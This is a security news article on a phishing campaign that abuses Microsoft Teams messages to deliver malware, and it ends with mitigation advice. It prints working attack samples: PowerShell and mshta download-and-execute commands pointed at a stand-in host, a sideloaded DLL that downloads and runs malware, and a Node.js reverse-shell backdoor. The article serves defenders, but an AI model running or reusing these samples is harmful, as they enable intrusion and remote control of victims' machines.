Saturday, April 26, 2025
HomeCyber Security NewsHackers Exploit Microsoft Teams Messages to Deliver Malware

Hackers Exploit Microsoft Teams Messages to Deliver Malware

Published on

SIEM as a Service

Follow Us on Google News

Cybersecurity experts have uncovered a new malware campaign targeting Microsoft Teams users to infiltrate corporate systems.

By exploiting the platform’s communication vulnerabilities and leveraging malicious PowerShell scripts, attackers bypassed traditional defenses, delivering malware capable of stealing credentials and establishing persistent backdoors.

The attack demonstrates an alarming evolution in malware delivery tactics through trusted collaboration platforms.

- Advertisement - Google News

How the Attack Works

According to the Ontinue report, the attack starts with a crafted phishing message sent to users via Microsoft Teams. The attackers impersonate IT administrators or trusted contacts, tricking users into clicking on malicious links or running embedded scripts.

Here’s an example of a malicious PowerShell command embedded in a Teams message:

powershell -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('https://malicious-site.com/payload.ps1')"

The DownloadString method fetches a malicious script from an external server, executing it on the user’s machine. Once executed, the script opens a backdoor for further exploitation.

Attack Chain Breakdown

The attack unfolded in several key stages:

1. Initial Delivery via Teams Message

Hackers sent phishing messages, like this example:

“Hello, this is IT Support. Please run the following command to update your Teams app: 

powershell -ExecutionPolicy Bypass -Command 'Start-Process mshta.exe -ArgumentList \"https://malicious-site.com/teams-update.hta\"'"

In this case, the mshta.exe process was abused to execute a malicious .hta file, leading to malware installation.

2. Abuse of Remote Assistance Tools

Once initial access was established, attackers used Microsoft Quick Assist for remote control. This step allowed them to interact with the compromised machine as if they were legitimate users.

3. DLL Sideloading to Evade Detection

The attackers deployed TeamViewer.exe, a legitimate signed binary, but replaced a key DLL file with a malicious one. Here’s how it worked:

  • Malicious DLL Sample:
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        system("cmd.exe /c curl -o malware.exe https://malicious-site.com/malware.exe && malware.exe");
    }
    return TRUE;
}

The malicious DLL (e.g., TV.dll) was executed when TeamViewer was launched, downloading and running additional malware.

4. Establishing Command and Control

The final stage involved deploying a Node.js-based backdoor. Attackers used JavaScript code to maintain persistent connections with their Command-and-Control (C2) infrastructure.

  • Sample Backdoor Code:
const net = require('net');
const { exec } = require('child_process');
const client = new net.Socket();
client.connect(4444, 'malicious-server.com', () => {
    console.log('Connected to C2 server');
});
client.on('data', (data) => {
    exec(data.toString(), (error, stdout, stderr) => {
        client.write(stdout || stderr);
    });
});
client.on('close', () => {
    console.log('Connection closed');
});

This backdoor allowed attackers to execute arbitrary commands, exfiltrate data, and expand their foothold within the network.

Prevention and Mitigation

Organizations must adopt a multi-layered approach to defend against such attacks. Below are actionable steps:

1. Block External Teams Communications

Use Microsoft Teams’ configuration settings to block interactions from unknown external users.

2. Restrict PowerShell Execution

Enforce strict PowerShell policies:

Set-ExecutionPolicy RemoteSigned -Scope LocalMachine

This command ensures only signed scripts can run, reducing the risk of executing malicious PowerShell commands.

3. Monitor and Limit Remote Tools

Track and restrict the use of tools like Quick Assist or TeamViewer through endpoint detection and response (EDR) solutions.

4. Educate Employees

Train staff to recognize phishing attempts, particularly in trusted platforms like Microsoft Teams.

5. Implement Multi-Factor Authentication (MFA)

Securely enforce MFA across all corporate accounts to prevent unauthorized access. Pair this with conditional access policies.

6. Network Monitoring

Deploy tools to detect unusual outbound traffic, such as connections to unknown IPs or the usage of uncommon ports.

The exploitation of Microsoft Teams as a malware delivery vector is another stark reminder of the evolving methods used by cybercriminals.

With collaboration tools integral to modern workflows, attackers are shifting their focus to trusted platforms. Organizations must remain vigilant, combining technological defenses with user awareness training to thwart such sophisticated threats.

Find this News Interesting! Follow us on Google NewsLinkedIn, & X to Get Instant Updates!

Divya
Divya
Divya is a Senior Journalist at GBhackers covering Cyber Attacks, Threats, Breaches, Vulnerabilities and other happenings in the cyber world.

Latest articles

How to Develop a Strong Security Culture – Advice for CISOs and CSOs

Developing a strong security culture is one of the most critical responsibilities for today’s...

DragonForce and Anubis Ransomware Gangs Launch New Affiliate Programs

Secureworks Counter Threat Unit (CTU) researchers have uncovered innovative strategies deployed by the DragonForce...

“Power Parasites” Phishing Campaign Targets Energy Firms and Major Brands

Silent Push Threat Analysts have uncovered a widespread phishing and scam operation dubbed "Power...

Threat Actors Register Over 26,000 Domains Imitating Brands to Deceive Users

Researchers from Unit 42 have uncovered a massive wave of SMS phishing, or "smishing,"...

Resilience at Scale

Why Application Security is Non-Negotiable

The resilience of your digital infrastructure directly impacts your ability to scale. And yet, application security remains a critical weak link for most organizations.

Application Security is no longer just a defensive play—it’s the cornerstone of cyber resilience and sustainable growth. In this webinar, Karthik Krishnamoorthy (CTO of Indusface) and Phani Deepak Akella (VP of Marketing – Indusface), will share how AI-powered application security can help organizations build resilience by

Discussion points


Protecting at internet scale using AI and behavioral-based DDoS & bot mitigation.
Autonomously discovering external assets and remediating vulnerabilities within 72 hours, enabling secure, confident scaling.
Ensuring 100% application availability through platforms architected for failure resilience.
Eliminating silos with real-time correlation between attack surface and active threats for rapid, accurate mitigation

More like this

DragonForce and Anubis Ransomware Gangs Launch New Affiliate Programs

Secureworks Counter Threat Unit (CTU) researchers have uncovered innovative strategies deployed by the DragonForce...

“Power Parasites” Phishing Campaign Targets Energy Firms and Major Brands

Silent Push Threat Analysts have uncovered a widespread phishing and scam operation dubbed "Power...

Threat Actors Register Over 26,000 Domains Imitating Brands to Deceive Users

Researchers from Unit 42 have uncovered a massive wave of SMS phishing, or "smishing,"...